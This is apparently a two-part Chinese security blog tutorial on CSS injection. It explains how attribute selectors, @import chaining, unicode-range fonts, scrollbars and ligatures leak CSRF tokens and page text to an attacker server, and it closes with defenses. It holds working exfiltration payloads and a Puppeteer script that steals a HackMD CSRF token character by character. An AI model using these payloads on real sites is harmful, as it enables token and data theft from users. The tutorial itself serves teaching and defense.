BACK
Featured image of post 用 CSS 來偷資料 - CSS injection

用 CSS 來偷資料 - CSS injection

談到網頁前端安全,第一個想到的幾乎都是 XSS,一種利用 JavaScript 的攻擊手法。有許多人都以為只要阻止 JavaScript 執行就足夠了,但事實上還可以透過其他方式攻擊,例如說 iframe 或甚至是拿來裝飾網頁的 CSS!

用 CSS 來偷資料 - CSS injection(上)

參考文章


前言

在講到針對網頁前端的攻擊時,你我的心中浮現的八成會是 XSS,但如果你沒辦法在網頁上執行 JavaScript,有沒有其他的攻擊手法呢?例如說,假設可以插入 style 標籤,你能夠做些什麼?

在 2018 年的時候,我有寫過一篇 CSS keylogger:攻擊與防禦,那時剛好在 Hacker News 上面看到相關的討論,於是就花了點時間研究了一下。

而 4 年後的現在,我從資安的角度重新認識了這個攻擊手法,因此打算寫一兩篇文章來好好講解 CSS injection。

這篇的文章內容包含:

  1. 什麼是 CSS injection?
  2. CSS 偷資料的原理
  3. 如何偷 hidden input 的資料
  4. 如何偷 meta 的資料
  5. 承上,並以 HackMD 為例

什麼是 CSS injection?

顧名思義,CSS injection 代表的是你在一個頁面上可以插入任何的 CSS 語法,或是講得更明確一點,你可以使用 <style> 這個標籤。你可能會好奇,為什麼會有這種狀況?

我自己認為常見的狀況有兩個,第一個是網站有過濾掉許多標籤,但不覺得 <style> 有問題,所以沒有過濾掉。例如說很多網站都會用現成的 library 來處理 sanitization,其中有一套很有名的叫做 DOMPurify

在 DOMPurify(v2.4.0) 之中,預設就會幫你把各種危險的標籤全都過濾掉,只留下一些安全的,例如說 <h1> 或是 <p> 這種,而重點是 <style> 也在預設的安全標籤裡面,所以如果你沒有特別指定參數,在預設的狀況下,<style> 是不會被過濾掉的,因此攻擊者就可以注入 CSS。

第二種狀況則是雖然可以插入 HTML,但是由於 CSP(Content Security Policy)的緣故,沒有辦法執行 JavaScript。既然沒辦法執行 JavaScript,就只能退而求其次,看看有沒有辦法利用 CSS 做出一些惡意行為。

那到底有了 CSS injection 之後可以幹嘛?CSS 不是拿來裝飾網頁用的而已嗎?難道幫網頁的背景換顏色也可以是一個攻擊手法?


利用 CSS 偷資料

CSS 確實是拿來裝飾網頁用的,但是只要結合兩個特性,就可以使用 CSS 來偷資料。

第一個特性:屬性選擇器。

在 CSS 當中,有幾個選擇器可以選到「屬性符合某個條件的元素」。舉例來說,input[value^=a],就可以選到 value 開頭是 a 的元素。

類似的選擇器有:

  1. input[value^=a] 開頭是 a 的(prefix)
  2. input[value$=a] 結尾是 a 的(suffix)
  3. input[value*=a] 內容有 a 的(contains)

而第二個特性是:可以利用 CSS 發出 request,例如說載入一張伺服器上的背景圖片,本質上就是在發一個 request。

假設現在頁面上有一段內容是 <input name="secret" value="abc123">,而我能夠插入任何的 CSS,我可以這樣寫:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
input[name="secret"][value^="a"] {
  background: url(https://myserver.com?q=a)
}

input[name="secret"][value^="b"] {
  background: url(https://myserver.com?q=b)
}

input[name="secret"][value^="c"] {
  background: url(https://myserver.com?q=c)
}

//....

input[name="secret"][value^="z"] {
  background: url(https://myserver.com?q=z)
}

會發生什麼事情?

因為第一條規則有順利找到對應的元素,所以 input 的背景就會是一張伺服器上的圖片,而瀏覽器就會發 request 到 https://myserver.com?q=a

因此,當我在 server 收到這個 request 的時候,我就知道「input 的 value 屬性,第一個字元是 a」,就順利偷到了第一個字元。

這就是 CSS 之所以可以偷資料的原因,透過屬性選擇器加上載入圖片這兩個功能,就能夠讓 server 知道頁面上某個元素的屬性值是什麼。

好,現在確認 CSS 可以偷屬性的值了,接下來有兩個問題:

  1. 有什麼東西好偷?
  2. 你剛只示範偷第一個,要怎麼偷第二個字元?

我們先來討論第一個問題,有哪些東西可以偷?通常都是要偷一些敏感資料對吧?

最常見的目標,就是 CSRF token。如果你不知道什麼是 CSRF,可以先看看我之前寫過的這一篇:讓我們來談談 CSRF(話說我有打算寫新的 CSRF 系列文,拖稿中,想看的話可留言催稿)。

簡單來說呢,如果 CSRF token 被偷走,就有可能會被 CSRF 攻擊,總之你就想成這個 token 很重要就是了。而這個 CSRF token,通常都會被放在一個 hidden input 中,像是這樣:

1
2
3
4
5
<form action="/action">
    <input type="hidden" name="csrf-token" value="abc123">
    <input name="username">
    <input type="submit">
</form>

我們該怎麼偷到裡面的資料呢?


偷 hidden input

對於 hidden input 來說,照我們之前那樣寫是沒有效果的:

1
2
3
input[name="csrf-token"][value^="a"] {
    background: url(https://example.com?q=a)
}

因為 input 的 type 是 hidden,所以這個元素不會顯示在畫面上,既然不會顯示,那瀏覽器就沒有必要載入背景圖片,因此 server 不會收到任何 request。而這個限制非常嚴格,就算用 display:block !important; 也沒辦法蓋過去。

該怎麼辦呢?沒關係,我們還有別的選擇器,像是這樣:

1
2
3
input[name="csrf-token"][value^="a"] + input {
    background: url(https://example.com?q=a)
}

最後面多了一個 + input,這個加號是另外一個選擇器,意思是「選到後面的元素」,所以整個選擇器合在一起,就是「我要選 name 是 csrf-token,value 開頭是 a 的 input,的後面那個 input」,也就是 <input name="username">

所以,真正載入背景圖片的其實是別的元素,而別的元素並沒有 type=hidden,所以圖片會被正常載入。

那如果後面沒有其他元素怎麼辦?像是這樣:

1
2
3
4
5
<form action="/action">
    <input name="username">
    <input type="submit">
    <input type="hidden" name="csrf-token" value="abc123">
</form>

以這個案例來說,在以前就真的玩完了,因為 CSS 並沒有可以選到「前面的元素」的選擇器,所以真的束手無策。

但現在不一樣了,因為我們有了 :has,這個選擇器可以選到「底下符合特殊條件的元素」,像這樣:

1
2
3
form:has(input[name="csrf-token"][value^="a"]){
    background: url(https://example.com?q=a)
}

意思就是我要選到「底下有(符合那個條件的 input)的 form」,所以最後載入背景的會是 form,一樣也不是那個 hidden input。這個 has selector 很新,從上個月底釋出的 Chrome 105 開始才正式支援,目前只剩下 Firefox 的穩定版還沒支援了,詳情可看:caniuse

有了 has 以後,基本上就無敵了,因為可以指定改變背景的是哪個父元素,所以想怎麼選就怎麼選,怎樣都選得到。


偷 meta

除了把資料放在 hidden input 以外,也有些網站會把資料放在 <meta> 裡面,例如說 <meta name="csrf-token" content="abc123">,meta 這個元素一樣是看不見的元素,要怎麼偷呢?

首先,如同上個段落的結尾講的一樣,has 是絕對偷得到的,可以這樣偷:

1
2
3
html:has(meta[name="csrf-token"][content^="a"]) {
    background: url(https://example.com?q=a);
}

但除此之外,還有其他方式也偷得到。

meta 雖然也看不到,但跟 hidden input 不同,我們可以自己用 CSS 讓這個元素變成可見:

1
2
3
4
5
6
7
meta {
  display: block;  
}

meta[name="csrf-token"][content^="a"] {
  background: url(https://example.com?q=a);
}

可是這樣還不夠,你會發現 request 還是沒有送出,這是因為 meta 在 head 底下,而 head 也有預設的 display:none 屬性,因此也要幫 head 特別設置,才會讓 meta「能被看到」:

1
2
3
4
5
6
7
head, meta {
  display: block;  
}

meta[name="csrf-token"][content^="a"] {
  background: url(https://example.com?q=a);
}

照上面這樣寫,就會看到瀏覽器發出 request。不過,畫面上倒是沒有顯示任何東西,因為畢竟 content 是一個屬性,而不是 HTML 的 text node,所以不會顯示在畫面上,但是 meta 這個元素本身其實是看得到的,這也是為什麼 request 會發出去:

如果你真的想要在畫面上顯示 content 的話,其實也做得到,可以利用偽元素搭配 attr

1
2
3
meta:before {
    content: attr(content);
}

就會看到 meta 裡面的內容顯示在畫面上了。

最後,讓我們來看一個實際案例。


偷 HackMD 的資料

HackMD 的 CSRF token 放在兩個地方,一個是 hidden input,另一個是 meta,內容如下:

1
<meta name="csrf-token" content="h1AZ81qI-ns9b34FbasTXUq7a7_PPH8zy3RI">

而 HackMD 其實支援 <style> 的使用,這個標籤不會被過濾掉,所以你是可以寫任何的 style 的,而相關的 CSP 如下:

1
2
3
img-src * data:;
style-src 'self' 'unsafe-inline' https://assets-cdn.github.com https://github.githubassets.com https://assets.hackmd.io https://www.google.com https://fonts.gstatic.com https://*.disquscdn.com;
font-src 'self' data: https://public.slidesharecdn.com https://assets.hackmd.io https://*.disquscdn.com https://script.hotjar.com;

可以看到 unsafe-inline 是允許的,所以可以插入任何的 CSS。

確認可以插入 CSS 以後,就可以開始來準備偷資料了。還記得前面有一個問題沒有回答,那就是「該怎麼偷第一個以後的字元?」,我先以 HackMD 為例回答。

首先,CSRF token 這種東西通常重新整理就會換一個,所以不能重新整理,而 HackMD 剛好支援即時更新,只要內容變了,會立刻反映在其他 client 的畫面上,因此可以做到「不重新整理而更新 style」,流程是這樣的:

  1. 準備好偷第一個字元的 style,插入到 HackMD 裡面
  2. 受害者打開頁面
  3. 伺服器收到第一個字元的 request
  4. 從伺服器更新 HackMD 內容,換成偷第二個字元的 payload
  5. 受害者頁面即時更新,載入新的 style
  6. 伺服器收到第二個字元的 request
  7. 不斷循環直到偷完所有字元

簡單的示意圖如下:

程式碼如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
const puppeteer = require('puppeteer');
const express = require('express')

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));

// Create a hackMD document and let anyone can view/edit
const noteUrl = 'https://hackmd.io/1awd-Hg82fekACbL_ode3aasf'
const host = 'http://localhost:3000'
const baseUrl = host + '/extract?q='
const port = process.env.PORT || 3000

;(async function() {
  const app = express()
  const browser = await puppeteer.launch({
    headless: true
  });
  const page = await browser.newPage();
  await page.setViewport({ width: 1280, height: 800 })
  await page.setRequestInterception(true);

  page.on('request', request => {
    const url = request.url()
    // cancel request to self
    if (url.includes(baseUrl)) {
      request.abort()
    } else {
      request.continue()
    }
  });
  app.listen(port, () => {
    console.log(`Listening at http://localhost:${port}`)
    console.log('Waiting for server to get ready...')
    startExploit(app, page)
  })
})()

async function startExploit(app, page) {
  let currentToken = ''
  await page.goto(noteUrl + '?edit');
  
  // @see: https://stackoverflow.com/questions/51857070/puppeteer-in-nodejs-reports-error-node-is-either-not-visible-or-not-an-htmlele
  await page.addStyleTag({ content: "{scroll-behavior: auto !important;}" });
  const initialPayload = generateCss()
  await updateCssPayload(page, initialPayload)
  console.log(`Server is ready, you can open ${noteUrl}?view on the browser`)

  app.get('/extract', (req, res) => {
    const query = req.query.q
    if (!query) return res.end()

    console.log(`query: ${query}, progress: ${query.length}/36`)
    currentToken = query
    if (query.length === 36) {
      console.log('over')
      return
    }
    const payload = generateCss(currentToken)
    updateCssPayload(page, payload)
    res.end()

  })
}

async function updateCssPayload(page, payload) {
  await sleep(300)
  await page.click('.CodeMirror-line')
  await page.keyboard.down('Meta');
  await page.keyboard.press('A');
  await page.keyboard.up('Meta');
  await page.keyboard.press('Backspace');
  await sleep(300)
  await page.keyboard.sendCharacter(payload)
  console.log('Updated css payload, waiting for next request')
}

function generateCss(prefix = "") {
  const csrfTokenChars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_'.split('')
  return `
${prefix}
<style>
    head, meta {
        display: block;
    }
    ${
      csrfTokenChars.map(char => `
        meta[name="csrf-token"][content^="${prefix + char}"] {
            background: url(${baseUrl}${prefix + char})
        }
      `).join('\n')
    }
</style>
  `
}

可以直接用 Node.js 跑起來,跑起來以後在瀏覽器打開相對應的文件,就可以在 terminal 看到 leak 的進度。

不過呢,就算偷到了 HackMD 的 CSRF token,依然還是沒辦法 CSRF,因為 HackMD 有在 server 檢查其他的 HTTP request header 如 origin 或是 referer 等等,確保 request 來自合法的地方。


總結

在這篇裡面,我們看到了之所以可以用 CSS 來偷資料的原理,說穿了就是利用「屬性選擇器」再加上「載入圖片」這兩個簡單的功能,也示範了如何偷取 hidden input 跟 meta 裡的資料,並且以 HackMD當作實際案例說明。

但是呢,有幾個問題我們還沒解決,像是:

  1. HackMD 因為可以即時同步內容,所以不需要重新整理就可以載入新的 style,那其他網站呢?該怎麼偷到第二個以後的字元?
  2. 一次只能偷一個字元的話,是不是要偷很久呢?這在實際上可行嗎?
  3. 有沒有辦法偷到屬性以外的東西?例如說頁面上的文字內容,或甚至是 JavaScript 的程式碼?
  4. 針對這個攻擊手法的防禦方式有哪些?

用 CSS 來偷資料 - CSS injection(下)

偷到所有字元

我們想偷的資料有可能只要重新整理以後就會改變(如 CSRF token),所以我們必須在不重新整理的狀況之下載入新的 style。

前面之所以做得到,是因為 HackMD 本身就是一個標榜即時更新的文件,但如果是一般的網頁呢?在不能用 JavaScript 的情況下,該如何不斷動態載入新的 style?

有關於這個問題,在 CSS Injection Attacks 這份簡報裡面給出了解答:@import

在 CSS 裡面,你可以用 @import 去把外部的其他 style 引入進來,就像 JavaScript 的 import 那樣。

我們可以利用這個功能做出引入 style 的迴圈,如下面的程式碼:

1
@import url(https://myserver.com/start?len=8)

接著,在 server 回傳如下的 style:

1
2
3
4
5
6
7
8
@import url(https://myserver.com/payload?len=1)
@import url(https://myserver.com/payload?len=2)
@import url(https://myserver.com/payload?len=3)
@import url(https://myserver.com/payload?len=4)
@import url(https://myserver.com/payload?len=5)
@import url(https://myserver.com/payload?len=6)
@import url(https://myserver.com/payload?len=7)
@import url(https://myserver.com/payload?len=8)

重點來了,這邊雖然一次引入了 8 個,但是「後面 7 個 request,server 都會先 hang 住,不會給 response」,只有第一個網址 https://myserver.com/payload?len=1 會回傳 response,內容為之前提過的偷資料 payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
input[name="secret"][value^="a"] {
  background: url(https://b.myserver.com/leak?q=a)
}

input[name="secret"][value^="b"] {
  background: url(https://b.myserver.com/leak?q=b)
}

input[name="secret"][value^="c"] {
  background: url(https://b.myserver.com/leak?q=c)
}

//....

input[name="secret"][value^="z"] {
  background: url(https://b.myserver.com/leak?q=z)
}

當瀏覽器收到 response 的時候,就會先載入上面這一段 CSS,載入完以後符合條件的元素就會發 request 到後端,假設第一個字是 d 好了,接著 server 這時候才回傳 https://myserver.com/payload?len=2 的 response,內容為:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
input[name="secret"][value^="da"] {
  background: url(https://b.myserver.com/leak?q=da)
}

input[name="secret"][value^="db"] {
  background: url(https://b.myserver.com/leak?q=db)
}

input[name="secret"][value^="dc"] {
  background: url(https://b.myserver.com/leak?q=dc)
}

//....

input[name="secret"][value^="dz"] {
  background: url(https://b.myserver.com/leak?q=dz)
}

以此類推,只要不斷重複這些步驟,就可以把所有字元都傳到 server 去,靠的就是 import 會先載入已經下載好的 resource,然後去等待還沒下載好的特性。

這邊有一點要特別注意,你會發現我們載入 style 的 domain 是 myserver.com,而背景圖片的 domain 是 b.myserver.com,這是因為瀏覽器通常對於一個 domain 能同時載入的 request 有數量上的限制,所以如果你全部都是用 myserver.com 的話,會發現背景圖片的 request 送不出去,都被 CSS import 給卡住了。

因此需要設置兩個 domain,來避免這種狀況。

除此之外,上面這種方式在 Firefox 是行不通的,因為在 Firefox 上就算第一個的 response 先回來,也不會立刻更新 style,要等所有 request 都回來才會一起更新。解法的話可以參考這一篇:CSS data exfiltration in Firefox via a single injection point,把第一步的 import 拿掉,然後每一個字元的 import 都用額外的 style 包著,像這樣:

1
2
3
4
5
6
7
8
<style>@import url(https://myserver.com/payload?len=1)</style>
<style>@import url(https://myserver.com/payload?len=2)</style>
<style>@import url(https://myserver.com/payload?len=3)</style>
<style>@import url(https://myserver.com/payload?len=4)</style>
<style>@import url(https://myserver.com/payload?len=5)</style>
<style>@import url(https://myserver.com/payload?len=6)</style>
<style>@import url(https://myserver.com/payload?len=7)</style>
<style>@import url(https://myserver.com/payload?len=8)</style>

而上面這樣 Chrome 也是沒問題的,所以統一改成上面這樣,就可以同時支援兩種瀏覽器了。

總結一下,只要用 @import 這個 CSS 的功能,就可以做到「不重新載入頁面,但可以動態載入新的 style」,進而偷取後面的每一個字元。


一次偷一個字元,太慢了吧?

若是想要在現實世界中執行這種攻擊,效率可能要再更好一點。以 HackMD 為例,CSRF token 總共有 36 個字,所以就要發 36 個 request,確實是太多了點。

事實上,我們一次可以偷兩個字元,因為上集有講過除了 prefix selector 以外,也有 suffix selector,所以可以像這樣:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
input[name="secret"][value^="a"] {
  background: url(https://b.myserver.com/leak?q=a)
}

input[name="secret"][value^="b"] {
  background: url(https://b.myserver.com/leak?q=b)
}

// ...
input[name="secret"][value$="a"] {
  border-background: url(https://b.myserver2.com/suffix?q=a)
}

input[name="secret"][value$="b"] {
  border-background: url(https://b.myserver2.com/suffix?q=b)
}

除了偷開頭以外,我們也偷結尾,效率立刻變成兩倍。要特別注意的是開頭跟結尾的 CSS,一個用的是 background,另一個用的是 border-background,是不同的屬性,因為如果用同一個屬性的話,內容就會被其他的蓋掉,最後只會發出一個 request。

若是內容可能出現的字元不多,例如說 16 個的話,那我們可以直接一次偷兩個開頭加上兩個結尾,總共的 CSS rule 數量為 16*16*2 = 512 個,應該還在可以接受的範圍內,就能夠再加速兩倍。

除此之外,也可以朝 server 那邊去改善,例如說改用 HTTP/2 或甚至是 HTTP/3,都有機會能夠加速 request 載入的速度,進而提升效率。


偷其他東西

除了偷屬性之外,有沒有辦法偷到其他東西?例如說,頁面上的其他文字?或甚至是 script 裡面的程式碼?

根據我們在上一篇裡面講的原理,是做不到的。因為能偷到屬性是因為「屬性選擇器」這個東西,才讓我們選到特定的元素,而在 CSS 裡面,並沒有可以選擇「內文」的選擇器。

因此,我們需要對 CSS 以及網頁上的樣式有更深入的理解,才有辦法達成這件看似不可能的任務。


unicode-range

在 CSS 裡面,有一個屬性叫做「unicode-range」,可以針對不同的字元,載入不同的字體。像是底下這個從 MDN 拿來的範例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html>
  <body>
    <style>
      @font-face {
        font-family: "Ampersand";
        src: local("Times New Roman");
        unicode-range: U+26;
      }

      div {
        font-size: 4em;
        font-family: Ampersand, Helvetica, sans-serif;
      }
    </style>
    <div>Me & You = Us</div>
  </body>
</html>

& 的 unicode 是 U+0026,因此只有 & 這個字會用不同的字體來顯示,其他都用同一個字體。

這招前端工程師可能有用過,例如說英文跟中文如果要用不同字體來顯示,就很適合用這一招。而這招也可以用來偷取頁面上的文字,像這樣:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<!DOCTYPE html>
<html>
  <body>
    <style>
      @font-face {
        font-family: "f1";
        src: url(https://myserver.com?q=1);
        unicode-range: U+31;
      }

      @font-face {
        font-family: "f2";
        src: url(https://myserver.com?q=2);
        unicode-range: U+32;
      }

      @font-face {
        font-family: "f3";
        src: url(https://myserver.com?q=3);
        unicode-range: U+33;
      }

      @font-face {
        font-family: "fa";
        src: url(https://myserver.com?q=a);
        unicode-range: U+61;
      }

      @font-face {
        font-family: "fb";
        src: url(https://myserver.com?q=b);
        unicode-range: U+62;
      }

      @font-face {
        font-family: "fc";
        src: url(https://myserver.com?q=c);
        unicode-range: U+63;
      }

      div {
        font-size: 4em;
        font-family: f1, f2, f3, fa, fb, fc;
      }
    </style>
    Secret: <div>ca31a</div>
  </body>
</html>

如果你去看 network tab,會看到一共發送了 4 個 request:

藉由這招,我們可以得知頁面上有:13ac 這四個字元。

而這招的侷限之處也很明顯,就是:

  1. 我們不知道字元的順序為何
  2. 重複的字元也不會知道

但是從「載入字型」的角度下去思考怎麼偷到字元,著實帶給了許多人一個新的思考方式,並發展出各式各樣其他的方法。


字體高度差異 + first-line + scrollbar

這招要解決的主要是上一招碰到的問題:「沒辦法知道字元順序」,然後這招結合了很多細節,步驟很多,要仔細聽了。

首先,我們其實可以不載入外部字體,用內建的字體就能 leak 出字元。這要怎麼做到呢?我們要先找出兩組內建字體,高度會不同。

例如有一個叫做「Comic Sans MS」的字體,高度就比另一個「Courier New」高。

舉個例子,假設預設字體的高度是 30px,而 Comic Sans MS 是 45px 好了。那現在我們把文字區塊的高度設成 40px,並且載入字體,像這樣:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html>
  <body>
    <style>
      @font-face {
        font-family: "fa";
        src:local('Comic Sans MS');
        font-style:monospace;
        unicode-range: U+41;
      }
      div {
        font-size: 30px;
        height: 40px;
        width: 100px;
        font-family: fa, "Courier New";
        letter-spacing: 0px;
        word-break: break-all;
        overflow-y: auto;
        overflow-x: hidden;
      }
      
    </style>
    Secret: <div>DBC</div>
    <div>ABC</div>
  </body>
</html>

就會在畫面上看到差異:

很明顯 A 比其他字元的高度都高,而且根據我們的 CSS 設定,如果內容高度超過容器高度,會出現 scrollbar。雖然上面是截圖看不出來,但是下面的 ABC 有出現 scrollbar,而上面的 DBC 沒有。

再者,我們其實可以幫 scrollbar 設定一個外部的背景:

1
2
3
4
5
6
7
div::-webkit-scrollbar {
    background: blue;
}

div::-webkit-scrollbar:vertical {
    background: url(https://myserver.com?q=a);
}

也就是說,如果 scrollbar 有出現,我們的 server 就會收到 request。如果 scrollbar 沒出現,就不會收到 request。

更進一步來說,當我把 div 套用 “fa” 字體時,如果畫面上有 A,就會出現 scrollbar,server 就會收到 request。如果畫面上沒有 A,就什麼事情都不會發生。

因此,我如果一直重複載入不同字體,那我在 server 就能知道畫面上有什麼字元,這點跟剛剛我們用 unicode-range 能做到的事情是一樣的。

那要怎麼解決順序的問題呢?

我們可以先把 div 的寬度縮減到只能顯示一個字元,這樣其他字元就會被放到第二行去,再搭配 ::first-line 這個 selector,就可以特別針對第一行做樣式的調整,像是這樣:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html>
  <body>
    <style>
      @font-face {
        font-family: "fa";
        src:local('Comic Sans MS');
        font-style:monospace;
        unicode-range: U+41;
      }
      div {
        font-size: 0px;
        height: 40px;
        width: 20px;
        font-family: fa, "Courier New";
        letter-spacing: 0px;
        word-break: break-all;
        overflow-y: auto;
        overflow-x: hidden;
      }

      div::first-line{
        font-size: 30px;
      }

    </style>
    Secret: <div>CBAD</div>
  </body>
</html>

畫面上你就只會看到一個「C」的字元,因為我們先用 font-size: 0px 把所有字元的尺寸都設為 0,再用 div::first-line 去做調整,讓第一行的 font-size 變成 30px。換句話說,只有第一行的字元能看到,而現在的 div 寬度只有 20px,所以只會出現第一個字元。

接著,我們再運用剛剛學會的那招,去載入看看不同的字體。當我載入 fa 這個字體時,因為畫面上沒有出現 A,所以不會有任何變化。但是當我載入 fc 這個字體時,畫面上有 C,所以就會用 Comic Sans MS 來顯示 C,高度就會變高,scrollbar 就會出現,就可以利用它來發出 request,像這樣:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
div {
  font-size: 0px;
  height: 40px;
  width: 20px;
  font-family: fc, "Courier New";
  letter-spacing: 0px;
  word-break: break-all;
  overflow-y: auto;
  overflow-x: hidden;
  --leak: url(http://myserver.com?C);
}

div::first-line{
  font-size: 30px;
}

div::-webkit-scrollbar {
  background: blue;
}

div::-webkit-scrollbar:vertical {
  background: var(--leak);
}

那我們要怎麼樣不斷使用新的 font-family 呢?用 CSS animation 就可以做到,你可以用 CSS animation 不斷載入不同的 font-family 以及指定不同的 –leak 變數。

如此一來,我們就能知道畫面上的第一個字元到底是什麼。

知道了第一個字元以後,我們把 div 的寬度變長,例如說變成 40px,就能容納兩個字元,因此第一行就會是前兩個字,接著再用一樣的方式載入不同的 font-family,就能 leak 出第二個字元,詳細流程如下:

  1. 假設畫面上是 ACB
  2. 調整寬度為 20px,第一行只出現第一個字元 A
  3. 載入字體 fa,因此 A 用較高的字體顯示,出現 scrollbar,載入 scrollbar 背景,傳送 request 給 server
  4. 載入字體 fb,但是 B 沒有出現在畫面上,因此沒有任何變化。
  5. 載入字體 fc,但是 C 沒有出現在畫面上,因此沒有任何變化。
  6. 調整寬度為 40px,第一行出現兩個字元 AC
  7. 載入字體 fa,因此 A 用較高的字體顯示,出現 scrollbar,此時應該是因為這個背景已經載入過,所以不會發送新的 request
  8. 載入字體 fb,沒出現在畫面上,沒任何變化
  9. 載入字體 fc,C 用較高的字體顯示,出現 scrollbar 並且載入背景
  10. 調整寬度為 60px,ACB 三個字元都出現在第一行
  11. 載入字體 fa,同第七步
  12. 載入字體 fb,B 用較高的字體顯示,出現 scrollbar 並且載入背景
  13. 載入字體 fc,C 用較高的字體顯示,但因為已經載入過相同背景,不會發送 request
  14. 結束

從上面流程中可以看出 server 會依序收到 A, C, B 三個 reqeust,代表了畫面上字元的順序。而不斷改變寬度以及 font-family 都可以用 CSS animation 做到。

想要看完整 demo 的可以看這個網頁(出處:What can we do with single CSS injection?):https://demo.vwzq.net/css2.html

這個解法雖然解決了「不知道字元順序」的問題,但依然無法解決重複字元的問題,因為重複的字元不會再發出 request。


大絕招:ligature + scrollbar

先講結論,這一招可以解決上面所有問題,達成「知道字元順序,也知道重複字元」的目標,能夠偷到完整的文字。

要理解怎麼偷之前,我們要先知道一個專有名詞,叫做連字(ligature),在某些字型當中,會把一些特定的組合 render 成連在一起的樣子,如下圖(來源:wikipedia):

那這個對我們有什麼幫助呢?

我們可以自己製作出一個獨特的字體,把 ab 設定成連字,並且 render 出一個超寬的元素。接著,我們把某個 div 寬度設成固定,然後結合剛剛 scrollbar 那招,也就是:「如果 ab 有出現,就會變很寬,scrollbar 就會出現,就可以載入 request 告訴 server;如果沒出現,那 scrollbar 就不會出現,沒有任何事情發生」。

流程是這樣的,假設畫面上有 acc 這三個字:

  1. 載入有連字 aa 的字體,沒事發生
  2. 載入有連字 ab 的字體,沒事發生
  3. 載入有連字 ac 的字體,成功 render 超寬的畫面,scrollbar 出現,載入 server 圖片
  4. server 知道畫面上有 ac
  5. 載入有連字 aca 的字體,沒事發生
  6. 載入有連字 acb 的字體,沒事發生
  7. 載入有連字 acc 的字體,成功 render,scrollbar 出現,傳送結果給 server
  8. server 知道畫面上有 aca

透過連字結合 scrollbar,我們可以一個字元一個字元,慢慢 leak 出畫面上所有的字,甚至連 JavaScript 的程式碼都可以!

你知道,script 的內容是可以顯示在畫面上的嗎?

1
2
3
head, script {
  display: block;
}

只要加上這個 CSS,就可以讓 script 內容也顯示在畫面上,因此我們也可以利用同樣的技巧,偷到 script 的內容!

在實戰上的話,你可以用 SVG 搭配其他工具,在 server 端迅速產生字體,想要看細節以及相關程式碼的話,可以參考這篇:Stealing Data in Great style – How to Use CSS to Attack Web Application.

而這邊我就簡單做個簡化到不行的 demo,來證明這件事情是可行的。為了簡化,有人做了一個 Safari 版本的 demo,因為 Safari 支援 SVG font,所以不需要再從 server 產生字型,原始文章在這裡:Data Exfiltration via CSS + SVG Font - PoC (Safari only)

簡易版 demo:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!DOCTYPE html>
<html lang="en">
<body>
  <script>
    var secret = "abc123"
  </script>
  <hr>
  <script>
    var secret2 = "cba321"
  </script>
  <svg>
    <defs>
        <font horiz-adv-x="0">
            <font-face font-family="hack" units-per-em="1000" />
            <glyph unicode='"a' horiz-adv-x="99999" d="M1 0z"/>
        </font>
    </defs>
  </svg>
  <style>
    script {
      display: block;
      font-family:"hack";
      white-space:n owrap;
      overflow-x: auto;
      width: 500px;
      background:lightblue;
    }

    script::-webkit-scrollbar {
      background: blue;
    }

  </style>
</body>
</html>

我用 script 放了兩段 JS,裡面內容分別是 var secret = "abc123"var secret2 = "cba321",接著利用 CSS 載入我準備好的字體,只要有 "a 的連字,就會寬度超寬。

再來如果 scrollbar 有出現,我把背景設成藍色的,比較顯眼,最後的結果如下:

上面因為內容是 var secret = "abc123",所以符合了 “a 的連字,因此寬度變寬,scrollbar 出現。

下面因為沒有 "a,所以 scrollbar 沒出現(有 a 的地方都會缺字,應該跟我沒有定義其他的 glyph 有關,但不影響結果)

只要把 scrollbar 的背景換成 URL,就可以從 server 端知道 leak 的結果。

如果想看實際的 demo 跟 server 端的寫法,可以參考上面附的那兩篇文章。


防禦方式

最後我們來講一下防禦方式,最簡單明瞭的當然就是直接把 style 封起來不給用,基本上就不會有 CSS injection 的問題(除非實作方式有漏洞)。

如果真的要開放 style,也可以用 CSP 來阻擋一些資源的載入,例如說 font-src 就沒有必要全開,style-src 也可以設置 allow list,就能夠擋住 @import 這個語法。

再來,也可以考慮到「如果頁面上的東西被拿走,會發生什麼事情」,例如說 CSRF token 被拿走,最壞就是 CSRF,此時就可以實作更多的防護去阻擋 CSRF,就算攻擊者取得了 CSRF token,也沒辦法 CSRF(例如說多檢查 origin header 之類的)。


總結

CSS 果真博大精深,真的很佩服這些前輩們可以把 CSS 玩出這麼多花樣,發展出這麼多令人眼界大開的攻擊手法。當初在研究的時候,利用屬性選擇器去 leak 這個我可以理解,用 unicode-range 我也能理解,但是那個用文字高度加上 CSS animation 去變化的,我花了不少時間才搞懂那在幹嘛,連字那個雖然概念好懂,但真的要實作還是會碰到不少問題。

最後,這兩篇文章主要算是介紹一下 CSS injection 這個攻擊手法,因此實際的程式碼並不多,而這些攻擊手法都參考自前人們的文章,列表我會附在下面,有興趣的話可以閱讀原文,會講得更詳細一點,如果對哪項攻擊想要深入了解,也可以留言跟我交流。


